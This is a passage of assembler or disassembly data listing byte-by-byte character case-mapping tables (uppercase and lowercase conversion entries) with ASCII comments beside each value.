db 0 ; db 0 ; db 0A5h ; db 0 ; db 0 ; db 0 ; db 0A6h ; db 0 ; db 0 ; db 0 ; db 0A7h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 0 ; db 0 ; db 0 ; db 0ABh ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0 ; db 0 ; db 0 ; db 0ADh ; db 0 ; db 0 ; db 0 ; db 0AEh ; db 0 ; db 0 ; db 0 ; db 0AFh ; db 0 ; db 0 ; db 0 ; db 0B0h ; db 0 ; db 0 ; db 0 ; db 0B1h ; db 0 ; db 0 ; db 0 ; db 0B2h ; db 0 ; db 0 ; db 0 ; db 0B3h ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 0 ; db 0 ; db 0 ; db 0B5h ; db 0 ; db 0 ; db 0 ; db 0B6h ; db 0 ; db 0 ; db 0 ; db 0B7h ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 0 ; db 0 ; db 0 ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0BBh ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0 ; db 0 ; db 0 ; db 0BDh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0 ; db 0 ; db 0 ; db 0BFh ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 0 ; db 0 ; db 0 ; db 0C2h ; db 0 ; db 0 ; db 0 ; db 0C3h ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 0 ; db 0 ; db 0 ; db 0C5h ; db 0 ; db 0 ; db 0 ; db 0C6h ; db 0 ; db 0 ; db 0 ; db 0C7h ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 0C9h ; db 0 ; db 0 ; db 0 ; db 0CAh ; db 0 ; db 0 ; db 0 ; db 0CBh ; db 0 ; db 0 ; db 0 ; db 0CCh ; db 0 ; db 0 ; db 0 ; db 0CDh ; db 0 ; db 0 ; db 0 ; db 0CEh ; db 0 ; db 0 ; db 0 ; db 0CFh ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0 ; db 0 ; db 0 ; db 0D1h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 0D3h ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D6h ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0D9h ; db 0 ; db 0 ; db 0 ; db 0DAh ; db 0 ; db 0 ; db 0 ; db 0DBh ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0 ; db 0 ; db 0 ; db 0DDh ; db 0 ; db 0 ; db 0 ; db 0DEh ; db 0 ; db 0 ; db 0 ; db 0DFh ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0 ; db 0 ; db 0 ; db 0E2h ; db 0 ; db 0 ; db 0 ; db 0E3h ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 0 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0E6h ; db 0 ; db 0 ; db 0 ; db 0E7h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0 ; db 0 ; db 0 ; db 0EAh ; db 0 ; db 0 ; db 0 ; db 0EBh ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0 ; db 0 ; db 0 ; db 0EEh ; db 0 ; db 0 ; db 0 ; db 0EFh ; db 0 ; db 0 ; db 0 ; db 0F0h ; db 0 ; db 0 ; db 0 ; db 0F1h ; db 0 ; db 0 ; db 0 ; db 0F2h ; db 0 ; db 0 ; db 0 ; db 0F3h ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 0 ; db 0 ; db 0 ; db 0F5h ; db 0 ; db 0 ; db 0 ; db 0F6h ; db 0 ; db 0 ; db 0 ; db 0F7h ; db 0 ; db 0 ; db 0 ; db 0F8h ; db 0 ; db 0 ; db 0 ; db 0F9h ; db 0 ; db 0 ; db 0 ; db 0FAh ; db 0 ; db 0 ; db 0 ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 0 ; db 0 ; db 0 ; db 0FDh ; db 0 ; db 0 ; db 0 ; db 0FEh ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 2 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 5 ; db 0 ; db 0 ; db 0 ; db 6 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 8 ; db 0 ; db 0 ; db 0 ; db 9 ; db 0 ; db 0 ; db 0 ; db 0Ah ; db 0 ; db 0 ; db 0 ; db 0Bh ; db 0 ; db 0 ; db 0 ; db 0Ch ; db 0 ; db 0 ; db 0 ; db 0Dh ; db 0 ; db 0 ; db 0 ; db 0Eh ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 10h ; db 0 ; db 0 ; db 0 ; db 11h ; db 0 ; db 0 ; db 0 ; db 12h ; db 0 ; db 0 ; db 0 ; db 13h ; db 0 ; db 0 ; db 0 ; db 14h ; db 0 ; db 0 ; db 0 ; db 15h ; db 0 ; db 0 ; db 0 ; db 16h ; db 0 ; db 0 ; db 0 ; db 17h ; db 0 ; db 0 ; db 0 ; db 18h ; db 0 ; db 0 ; db 0 ; db 19h ; db 0 ; db 0 ; db 0 ; db 1Ah ; db 0 ; db 0 ; db 0 ; db 1Bh ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 0 ; db 0 ; db 0 ; db 1Dh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 20h ; db 0 ; db 0 ; db 0 ; db 21h ; ! db 0 ; db 0 ; db 0 ; db 22h ; " db 0 ; db 0 ; db 0 ; db 23h ; # db 0 ; db 0 ; db 0 ; db 24h ; $ db 0 ; db 0 ; db 0 ; db 25h ; % db 0 ; db 0 ; db 0 ; db 26h ; & db 0 ; db 0 ; db 0 ; db 27h ; ' db 0 ; db 0 ; db 0 ; db 28h ; ( db 0 ; db 0 ; db 0 ; db 29h ; ) db 0 ; db 0 ; db 0 ; db 2Ah ; * db 0 ; db 0 ; db 0 ; db 2Bh ; + db 0 ; db 0 ; db 0 ; db 2Ch ; , db 0 ; db 0 ; db 0 ; db 2Dh ; - db 0 ; db 0 ; db 0 ; db 2Eh ; . db 0 ; db 0 ; db 0 ; db 2Fh ; / db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 31h ; 1 db 0 ; db 0 ; db 0 ; db 32h ; 2 db 0 ; db 0 ; db 0 ; db 33h ; 3 db 0 ; db 0 ; db 0 ; db 34h ; 4 db 0 ; db 0 ; db 0 ; db 35h ; 5 db 0 ; db 0 ; db 0 ; db 36h ; 6 db 0 ; db 0 ; db 0 ; db 37h ; 7 db 0 ; db 0 ; db 0 ; db 38h ; 8 db 0 ; db 0 ; db 0 ; db 39h ; 9 db 0 ; db 0 ; db 0 ; db 3Ah ; : db 0 ; db 0 ; db 0 ; db 3Bh ; ; db 0 ; db 0 ; db 0 ; db 3Ch ; < db 0 ; db 0 ; db 0 ; db 3Dh ; = db 0 ; db 0 ; db 0 ; db 3Eh ; > db 0 ; db 0 ; db 0 ; db 3Fh ; ? db 0 ; db 0 ; db 0 ; db 40h ; @ db 0 ; db 0 ; db 0 ; db 41h ; A db 0 ; db 0 ; db 0 ; db 42h ; B db 0 ; db 0 ; db 0 ; db 43h ; C db 0 ; db 0 ; db 0 ; db 44h ; D db 0 ; db 0 ; db 0 ; db 45h ; E db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 0 ; db 0 ; db 47h ; G db 0 ; db 0 ; db 0 ; db 48h ; H db 0 ; db 0 ; db 0 ; db 49h ; I db 0 ; db 0 ; db 0 ; db 4Ah ; J db 0 ; db 0 ; db 0 ; db 4Bh ; K db 0 ; db 0 ; db 0 ; db 4Ch ; L db 0 ; db 0 ; db 0 ; db 4Dh ; M db 0 ; db 0 ; db 0 ; db 4Eh ; N db 0 ; db 0 ; db 0 ; db 4Fh ; O db 0 ; db 0 ; db 0 ; db 50h ; P db 0 ; db 0 ; db 0 ; db 51h ; Q db 0 ; db 0 ; db 0 ; db 52h ; R db 0 ; db 0 ; db 0 ; db 53h ; S db 0 ; db 0 ; db 0 ; db 54h ; T db 0 ; db 0 ; db 0 ; db 55h ; U db 0 ; db 0 ; db 0 ; db 56h ; V db 0 ; db 0 ; db 0 ; db 57h ; W db 0 ; db 0 ; db 0 ; db 58h ; X db 0 ; db 0 ; db 0 ; db 59h ; Y db 0 ; db 0 ; db 0 ; db 5Ah ; Z db 0 ; db 0 ; db 0 ; db 5Bh ; [ db 0 ; db 0 ; db 0 ; db 5Ch ; \ db 0 ; db 0 ; db 0 ; db 5Dh ; ] db 0 ; db 0 ; db 0 ; db 5Eh ; ^ db 0 ; db 0 ; db 0 ; db 5Fh ; _ db 0 ; db 0 ; db 0 ; db 60h ; ` db 0 ; db 0 ; db 0 ; db 41h ; A db 0 ; db 0 ; db 0 ; db 42h ; B db 0 ; db 0 ; db 0 ; db 43h ; C db 0 ; db 0 ; db 0 ; db 44h ; D db 0 ; db 0 ; db 0 ; db 45h ; E db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 0 ; db 0 ; db 47h ; G db 0 ; db 0 ; db 0 ; db 48h ; H db 0 ; db 0 ; db 0 ; db 49h ; I db 0 ; db 0 ; db 0 ; db 4Ah ; J db 0 ; db 0 ; db 0 ; db 4Bh ; K db 0 ; db 0 ; db 0 ; db 4Ch ; L db 0 ; db 0 ; db 0 ; db 4Dh ; M db 0 ; db 0 ; db 0 ; db 4Eh ; N db 0 ; db 0 ; db 0 ; db 4Fh ; O db 0 ; db 0 ; db 0 ; db 50h ; P db 0 ; db 0 ; db 0 ; db 51h ; Q db 0 ; db 0 ; db 0 ; db 52h ; R db 0 ; db 0 ; db 0 ; db 53h ; S db 0 ; db 0 ; db 0 ; db 54h ; T db 0 ; db 0 ; db 0 ; db 55h ; U db 0 ; db 0 ; db 0 ; db 56h ; V db 0 ; db 0 ; db 0 ; db 57h ; W db 0 ; db 0 ; db 0 ; db 58h ; X db 0 ; db 0 ; db 0 ; db 59h ; Y db 0 ; db 0 ; db 0 ; db 5Ah ; Z db 0 ; db 0 ; db 0 ; db 7Bh ; { db 0 ; db 0 ; db 0 ; db 7Ch ; | db 0 ; db 0 ; db 0 ; db 7Dh ; } db 0 ; db 0 ; db 0 ; db 7Eh ; ~ db 0 ; db 0 ; db 0 ; db 7Fh ;  db 0 ; db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 81h ; db 0 ; db 0 ; db 0 ; db 82h ; db 0 ; db 0 ; db 0 ; db 83h ; db 0 ; db 0 ; db 0 ; db 84h ; db 0 ; db 0 ; db 0 ; db 85h ; db 0 ; db 0 ; db 0 ; db 86h ; db 0 ; db 0 ; db 0 ; db 87h ; db 0 ; db 0 ; db 0 ; db 88h ; db 0 ; db 0 ; db 0 ; db 89h ; db 0 ; db 0 ; db 0 ; db 8Ah ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0 ; db 0 ; db 0 ; db 8Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 91h ; db 0 ; db 0 ; db 0 ; db 92h ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 94h ; db 0 ; db 0 ; db 0 ; db 95h ; db 0 ; db 0 ; db 0 ; db 96h ; db 0 ; db 0 ; db 0 ; db 97h ; db 0 ; db 0 ; db 0 ; db 98h ; db 0 ; db 0 ; db 0 ; db 99h ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0 ; db 0 ; db 0 ; db 9Bh ; db 0 ; db 0 ; db 0 ; db 9Ch ; db 0 ; db 0 ; db 0 ; db 9Dh ; db 0 ; db 0 ; db 0 ; db 9Eh ; db 0 ; db 0 ; db 0 ; db 9Fh ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 0 ; db 0 ; db 0 ; db 0A1h ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 0 ; db 0 ; db 0 ; db 0A3h ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0 ; db 0 ; db 0 ; db 0A5h ; db 0 ; db 0 ; db 0 ; db 0A6h ; db 0 ; db 0 ; db 0 ; db 0A7h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 0 ; db 0 ; db 0 ; db 0ABh ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0 ; db 0 ; db 0 ; db 0ADh ; db 0 ; db 0 ; db 0 ; db 0AEh ; db 0 ; db 0 ; db 0 ; db 0AFh ; db 0 ; db 0 ; db 0 ; db 0B0h ; db 0 ; db 0 ; db 0 ; db 0B1h ; db 0 ; db 0 ; db 0 ; db 0B2h ; db 0 ; db 0 ; db 0 ; db 0B3h ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 0 ; db 0 ; db 0 ; db 0B5h ; db 0 ; db 0 ; db 0 ; db 0B6h ; db 0 ; db 0 ; db 0 ; db 0B7h ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 0 ; db 0 ; db 0 ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0BBh ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0 ; db 0 ; db 0 ; db 0BDh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0 ; db 0 ; db 0 ; db 0BFh ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 0 ; db 0 ; db 0 ; db 0C2h ; db 0 ; db 0 ; db 0 ; db 0C3h ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 0 ; db 0 ; db 0 ; db 0C5h ; db 0 ; db 0 ; db 0 ; db 0C6h ; db 0 ; db 0 ; db 0 ; db 0C7h ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 0C9h ; db 0 ; db 0 ; db 0 ; db 0CAh ; db 0 ; db 0 ; db 0 ; db 0CBh ; db 0 ; db 0 ; db 0 ; db 0CCh ; db 0 ; db 0 ; db 0 ; db 0CDh ; db 0 ; db 0 ; db 0 ; db 0CEh ; db 0 ; db 0 ; db 0 ; db 0CFh ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0 ; db 0 ; db 0 ; db 0D1h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 0D3h ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D6h ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0D9h ; db 0 ; db 0 ; db 0 ; db 0DAh ; db 0 ; db 0 ; db 0 ; db 0DBh ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0 ; db 0 ; db 0 ; db 0DDh ; db 0 ; db 0 ; db 0 ; db 0DEh ; db 0 ; db 0 ; db 0 ; db 0DFh ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0 ; db 0 ; db 0 ; db 0E2h ; db 0 ; db 0 ; db 0 ; db 0E3h ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 0 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0E6h ; db 0 ; db 0 ; db 0 ; db 0E7h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0 ; db 0 ; db 0 ; db 0EAh ; db 0 ; db 0 ; db 0 ; db 0EBh ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0 ; db 0 ; db 0 ; db 0EEh ; db 0 ; db 0 ; db 0 ; db 0EFh ; db 0 ; db 0 ; db 0 ; db 0F0h ; db 0 ; db 0 ; db 0 ; db 0F1h ; db 0 ; db 0 ; db 0 ; db 0F2h ; db 0 ; db 0 ; db 0 ; db 0F3h ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 0 ; db 0 ; db 0 ; db 0F5h ; db 0 ; db 0 ; db 0 ; db 0F6h ; db 0 ; db 0 ; db 0 ; db 0F7h ; db 0 ; db 0 ; db 0 ; db 0F8h ; db 0 ; db 0 ; db 0 ; db 0F9h ; db 0 ; db 0 ; db 0 ; db 0FAh ; db 0 ; db 0 ; db 0 ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 0 ; db 0 ; db 0 ; db 0FDh ; db 0 ; db 0 ; db 0 ; db 0FEh ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 81h ; db 0 ; db 0 ; db 0 ; db 82h ; db 0 ; db 0 ; db 0 ; db 83h ; db 0 ; db 0 ; db 0 ; db 84h ; db 0 ; db 0 ; db 0 ; db 85h ; db 0 ; db 0 ; db 0 ; db 86h ; db 0 ; db 0 ; db 0 ; db 87h ; db 0 ; db 0 ; db 0 ; db 88h ; db 0 ; db 0 ; db 0 ; db 89h ; db 0 ; db 0 ; db 0 ; db 8Ah ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0 ; db 0 ; db 0 ; db 8Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 91h ; db 0 ; db 0 ; db 0 ; db 92h ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 94h ; db 0 ; db 0 ; db 0 ; db 95h ; db 0 ; db 0 ; db 0 ; db 96h ; db 0 ; db 0 ; db 0 ; db 97h ; db 0 ; db 0 ; db 0 ; db 98h ; db 0 ; db 0 ; db 0 ; db 99h ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0 ; db 0 ; db 0 ; db 9Bh ; db 0 ; db 0 ; db 0 ; db 9Ch ; db 0 ; db 0 ; db 0 ; db 9Dh ; db 0 ; db 0 ; db 0 ; db 9Eh ; db 0 ; db 0 ; db 0 ; db 9Fh ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 0 ; db 0 ; db 0 ; db 0A1h ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 0 ; db 0 ; db 0 ; db 0A3h ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0 ; db 0 ; db 0 ; db 0A5h ; db 0 ; db 0 ; db 0 ; db 0A6h ; db 0 ; db 0 ; db 0 ; db 0A7h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 0 ; db 0 ; db 0 ; db 0ABh ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0 ; db 0 ; db 0 ; db 0ADh ; db 0 ; db 0 ; db 0 ; db 0AEh ; db 0 ; db 0 ; db 0 ; db 0AFh ; db 0 ; db 0 ; db 0 ; db 0B0h ; db 0 ; db 0 ; db 0 ; db 0B1h ; db 0 ; db 0 ; db 0 ; db 0B2h ; db 0 ; db 0 ; db 0 ; db 0B3h ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 0 ; db 0 ; db 0 ; db 0B5h ; db 0 ; db 0 ; db 0 ; db 0B6h ; db 0 ; db 0 ; db 0 ; db 0B7h ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 0 ; db 0 ; db 0 ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0BBh ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0 ; db 0 ; db 0 ; db 0BDh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0 ; db 0 ; db 0 ; db 0BFh ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 0 ; db 0 ; db 0 ; db 0C2h ; db 0 ; db 0 ; db 0 ; db 0C3h ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 0 ; db 0 ; db 0 ; db 0C5h ; db 0 ; db 0 ; db 0 ; db 0C6h ; db 0 ; db 0 ; db 0 ; db 0C7h ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 0C9h ; db 0 ; db 0 ; db 0 ; db 0CAh ; db 0 ; db 0 ; db 0 ; db 0CBh ; db 0 ; db 0 ; db 0 ; db 0CCh ; db 0 ; db 0 ; db 0 ; db 0CDh ; db 0 ; db 0 ; db 0 ; db 0CEh ; db 0 ; db 0 ; db 0 ; db 0CFh ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0 ; db 0 ; db 0 ; db 0D1h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 0D3h ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D6h ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0D9h ; db 0 ; db 0 ; db 0 ; db 0DAh ; db 0 ; db 0 ; db 0 ; db 0DBh ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0 ; db 0 ; db 0 ; db 0DDh ; db 0 ; db 0 ; db 0 ; db 0DEh ; db 0 ; db 0 ; db 0 ; db 0DFh ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0 ; db 0 ; db 0 ; db 0E2h ; db 0 ; db 0 ; db 0 ; db 0E3h ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 0 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0E6h ; db 0 ; db 0 ; db 0 ; db 0E7h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0 ; db 0 ; db 0 ; db 0EAh ; db 0 ; db 0 ; db 0 ; db 0EBh ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0 ; db 0 ; db 0 ; db 0EEh ; db 0 ; db 0 ; db 0 ; db 0EFh ; db 0 ; db 0 ; db 0 ; db 0F0h ; db 0 ; db 0 ; db 0 ; db 0F1h ; db 0 ; db 0 ; db 0 ; db 0F2h ; db 0 ; db 0 ; db 0 ; db 0F3h ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 0 ; db 0 ; db 0 ; db 0F5h ; db 0 ; db 0 ; db 0 ; db 0F6h ; db 0 ; db 0 ; db 0 ; db 0F7h ; db 0 ; db 0 ; db 0 ; db 0F8h ; db 0 ; db 0 ; db 0 ; db 0F9h ; db 0 ; db 0 ; db 0 ; db 0FAh ; db 0 ; db 0 ; db 0 ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 0 ; db 0 ; db 0 ; db 0FDh ; db 0 ; db 0 ; db 0 ; db 0FEh ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 2 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 5 ; db 0 ; db 0 ; db 0 ; db 6 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 8 ; db 0 ; db 0 ; db 0 ; db 9 ; db 0 ; db 0 ; db 0 ; db 0Ah ; db 0 ; db 0 ; db 0 ; db 0Bh ; db 0 ; db 0 ; db 0 ; db 0Ch ; db 0 ; db 0 ; db 0 ; db 0Dh ; db 0 ; db 0 ; db 0 ; db 0Eh ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 10h ; db 0 ; db 0 ; db 0 ; db 11h ; db 0 ; db 0 ; db 0 ; db 12h ; db 0 ; db 0 ; db 0 ; db 13h ; db 0 ; db 0 ; db 0 ; db 14h ; db 0 ; db 0 ; db 0 ; db 15h ; db 0 ; db 0 ; db 0 ; db 16h ; db 0 ; db 0 ; db 0 ; db 17h ; db 0 ; db 0 ; db 0 ; db 18h ; db 0 ; db 0 ; db 0 ; db 19h ; db 0 ; db 0 ; db 0 ; db 1Ah ; db 0 ; db 0 ; db 0 ; db 1Bh ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 0 ; db 0 ; db 0 ; db 1Dh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 20h ; db 0 ; db 0 ; db 0 ; db 21h ; ! db 0 ; db 0 ; db 0 ; db 22h ; " db 0 ; db 0 ; db 0 ; db 23h ; # db 0 ; db 0 ; db 0 ; db 24h ; $ db 0 ; db 0 ; db 0 ; db 25h ; % db 0 ; db 0 ; db 0 ; db 26h ; & db 0 ; db 0 ; db 0 ; db 27h ; ' db 0 ; db 0 ; db 0 ; db 28h ; ( db 0 ; db 0 ; db 0 ; db 29h ; ) db 0 ; db 0 ; db 0 ; db 2Ah ; * db 0 ; db 0 ; db 0 ; db 2Bh ; + db 0 ; db 0 ; db 0 ; db 2Ch ; , db 0 ; db 0 ; db 0 ; db 2Dh ; - db 0 ; db 0 ; db 0 ; db 2Eh ; . db 0 ; db 0 ; db 0 ; db 2Fh ; / db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 31h ; 1 db 0 ; db 0 ; db 0 ; db 32h ; 2 db 0 ; db 0 ; db 0 ; db 33h ; 3 db 0 ; db 0 ; db 0 ; db 34h ; 4 db 0 ; db 0 ; db 0 ; db 35h ; 5 db 0 ; db 0 ; db 0 ; db 36h ; 6 db 0 ; db 0 ; db 0 ; db 37h ; 7 db 0 ; db 0 ; db 0 ; db 38h ; 8 db 0 ; db 0 ; db 0 ; db 39h ; 9 db 0 ; db 0 ; db 0 ; db 3Ah ; : db 0 ; db 0 ; db 0 ; db 3Bh ; ; db 0 ; db 0 ; db 0 ; db 3Ch ; < db 0 ; db 0 ; db 0 ; db 3Dh ; = db 0 ; db 0 ; db 0 ; db 3Eh ; > db 0 ; db 0 ; db 0 ; db 3Fh ; ? db 0 ; db 0 ; db 0 ; db 40h ; @ db 0 ; db 0 ; db 0 ; db 61h ; a db 0 ; db 0 ; db 0 ; db 62h ; b db 0 ; db 0 ; db 0 ; db 63h ; c db 0 ; db 0 ; db 0 ; db 64h ; d db 0 ; db 0 ; db 0 ; db 65h ; e db 0 ; db 0 ; db 0 ; db 66h ; f db 0 ; db 0 ; db 0 ; db 67h ; g db 0 ; db 0 ; db 0 ; db 68h ; h db 0 ; db 0 ; db 0 ; db 69h ; i db 0 ; db 0 ; db 0 ; db 6Ah ; j db 0 ; db 0 ; db 0 ; db 6Bh ; k db 0 ; db 0 ; db 0 ; db 6Ch ; l db 0 ; db 0 ; db 0 ; db 6Dh ; m db 0 ; db 0 ; db 0 ; db 6Eh ; n db 0 ; db 0 ; db 0 ; db 6Fh ; o db 0 ; db 0 ; db 0 ; db 70h ; p db 0 ; db 0 ; db 0 ; db 71h ; q db 0 ; db 0 ; db 0 ; db 72h ; r db 0 ; db 0 ; db 0 ; db 73h ; s db 0 ; db 0 ; db 0 ; db 74h ; t db 0 ; db 0 ; db 0 ; db 75h ; u db 0 ; db 0 ; db 0 ; db 76h ; v db 0 ; db 0 ; db 0 ; db 77h ; w db 0 ; db 0 ; db 0 ; db 78h ; x db 0 ; db 0 ; db 0 ; db 79h ; y db 0 ; db 0 ; db 0 ; db 7Ah ; z db 0 ; db 0 ; db 0 ; db 5Bh ; [ db 0 ; db 0 ; db 0 ; db 5Ch ; \ db 0 ; db 0 ; db 0 ; db 5Dh ; ] db 0 ; db 0 ; db 0 ; db 5Eh ; ^ db 0 ; db 0 ; db 0 ; db 5Fh ; _ db 0 ; db 0 ; db 0 ; db 60h ; ` db 0 ; db 0 ; db 0 ; db 61h ; a db 0 ; db 0 ; db 0 ; db 62h ; b db 0 ; db 0 ; db 0 ; db 63h ; c db 0 ; db 0 ; db 0 ; db 64h ; d db 0 ; db 0 ; db 0 ; db 65h ; e db 0 ; db 0 ; db 0 ; db 66h ; f db 0 ; db 0 ; db 0 ; db 67h ; g db 0 ; db 0 ; db 0 ; db 68h ; h db 0 ; db 0 ; db 0 ; db 69h ; i db 0 ; db 0 ; db 0 ; db 6Ah ; j 